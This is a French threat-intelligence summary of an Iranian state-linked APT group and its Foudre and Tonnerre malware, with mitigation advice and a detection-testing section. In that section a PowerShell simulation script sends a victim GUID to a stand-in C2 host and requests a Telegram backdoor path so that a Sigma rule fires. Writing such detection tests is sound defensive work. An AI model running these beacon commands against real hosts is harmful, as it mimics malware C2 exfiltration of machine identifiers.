Prince of Persia : Un rétrospective de 10 ans sur l’activité APT iranienne

Résumé

Le rapport dresse le profil du groupe APT lié à l’État iranien surnommé Prince of Persia et retrace son évolution au cours de la dernière décennie, en mettant l’accent sur les activités observées de 2023 à 2025. Les opérateurs comptent sur des familles de logiciels malveillants sur mesure, y compris Foudre, Tonnerre, MaxPinner, Rugissement et Deep Freeze, pour soutenir l’espionnage et le vol systématique de données. Les dernières itérations introduisent des algorithmes de génération de domaines, un commandement et un contrôle basés sur Telegram, et des charges utiles SFX cryptées pour améliorer la résilience et le camouflage. Les cibles s’étendent aux infrastructures critiques et aux réseaux liés aux dissidents dans plusieurs régions.

Enquête

Les chercheurs de SafeBreach ont suivi les opérations du groupe depuis 2019, collectant de nouveaux échantillons, documentant l’architecture C2 et analysant la logique DGA. Ils ont déchiffré les charges utiles protégées, extrait les identifiants de bot Telegram et construit une chronologie des déploiements de variantes. La recherche met en évidence des infrastructures de production et de test séparées et détaille les comportements de dépôt de fichiers liés aux chaînes d’infection pilotées par Excel. Les indicateurs de compromission ont été assemblés à partir de hachages de logiciels malveillants, de domaines et d’URL.

Atténuation

Surveillez l’activité DNS pour les modèles DGA identifiés, bloquez les domaines malveillants connus et restreignez ou inspectez le trafic lié aux bots Telegram. Ajoutez des détections pour les noms de fichiers malveillants référencés et les artefacts de DLL de chargement, et utilisez la surveillance/le sinkholing DNS pour révéler l’infrastructure tournante. Appliquez une liste de contrôle d’applications et renforcez la sécurité d’Office en limitant les macros pour réduire la probabilité d’un accès initial.

Réponse

Si un indicateur est trouvé, mettez en quarantaine le système affecté, capturez les preuves volatiles et effectuez une analyse médico-légale ciblée sur les fichiers déposés et les chemins de registre pertinents. Bloquez tous les domaines et adresses IP liés, remplacez les jetons de bot Telegram exposés et réinitialisez les identifiants pour les comptes impactés. Recherchez dans tout l’environnement les restes de DLL de chargement personnalisés et les charges utiles SFX cryptées pour assurer une éradication complète.

Exécution de simulation

Prérequis : Le contrôle préalable de la télémétrie et de la ligne de base doit avoir été réussi.

Raisonnement : Cette section détaille l’exécution précise de la technique de l’adversaire (T1584.005) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.

• Narration et Commandes d’Attaque :
  L’acteur menaçant a provisionné un domaine malveillant malicious-c2.example qui héberge le serveur Foudre/Tonnerre C2. La charge utile de l’attaquant sur la machine de la victime effectue deux requêtes HTTP GET :

  1. Envoie le GUID de la victime au point final Foudre C2 en utilisant le chemin /1/?c=<GUID>.
  2. Contacte l’API de Telegram via la porte dérobée Tonnerre en utilisant le chemin /t/tga.adr.

  Les deux requêtes sont effectuées via HTTP (pour simplifier la journalisation du proxy) et incluent un User-Agent générique pour se fondre dans le trafic normal. Les actions génèrent les champs exacts (request_method=GET, url contenant les sous-chaînes ciblées) que la règle Sigma surveille.

• Script de Test de Régression :

  # ------------------------------------------------------------
  # Simulation de Communication C2 Foudre & Tonnerre (Windows)
  # ------------------------------------------------------------
  
  # 1. Définir le GUID de la victime (dans une véritable infection, cela serait lu à partir du registre)
  $guid = (New-Guid).Guid
  
  # 2. Définir l'hôte C2 malveillant (remplacer par une adresse que vous contrôlez pour les tests)
  $c2Host = "http://malicious-c2.example"
  
  # 3. Envoyer le GUID au point final Foudre C2
  $foudreUrl = "$c2Host/1/?c=$guid"
  Write-Host "[*] Envoi du GUID au Foudre C2: $foudreUrl"
  Invoke-WebRequest -Uri $foudreUrl -Method GET -UseBasicParsing
  
  # 4. Contacter l'API de Telegram via la porte dérobée Tonnerre
  $telegramUrl = "$c2Host/t/tga.adr"
  Write-Host "[*] Contacter le point de terminaison de l'API de Telegram: $telegramUrl"
  Invoke-WebRequest -Uri $telegramUrl -Method GET -UseBasicParsing
  
  Write-Host "[+] Simulation terminée. Vérifiez les alertes dans le SIEM."

  Le script est autonome ; son exécution sur un hôte Windows qui route le trafic via le proxy configuré produira deux entrées de journal qui correspondent à la règle Sigma url|contains conditions.

• Commandes de Nettoyage :

  # Supprimer toutes connexions réseau temporaires (uniquement pertinent si le proxy crée des sessions persistantes)
  # Ici, nous effaçons simplement le cache DNS pour éviter la résolution persistante de l'hôte malveillant.
  ipconfig /flushdns
  Write-Host "[*] Nettoyage terminé."